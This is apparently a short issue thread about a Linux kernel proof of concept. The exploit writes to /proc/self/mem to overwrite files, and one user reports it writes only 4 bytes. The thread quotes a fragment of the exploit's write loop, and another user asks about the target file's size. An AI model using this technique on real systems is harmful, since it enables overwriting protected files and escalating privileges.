POC writes only 4 bytes of payload

[fastchain]

Linux bright 4.6.2-1-ARCH #1 SMP PREEMPT Wed Jun 8 08:40:59 CEST 2016 x86_64 GNU/Linux

POC writes only 4 bytes of payload.

Also, it looks like

int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
lseek(f,map,SEEK_SET);
c+=write(f,str,10);
}
printf("procselfmem %d\n\n", c);
}

also ruining other internal processes, which are affected by this bug.

[marioballano]

is the file you're trying to overwrite larger than 4 bytes?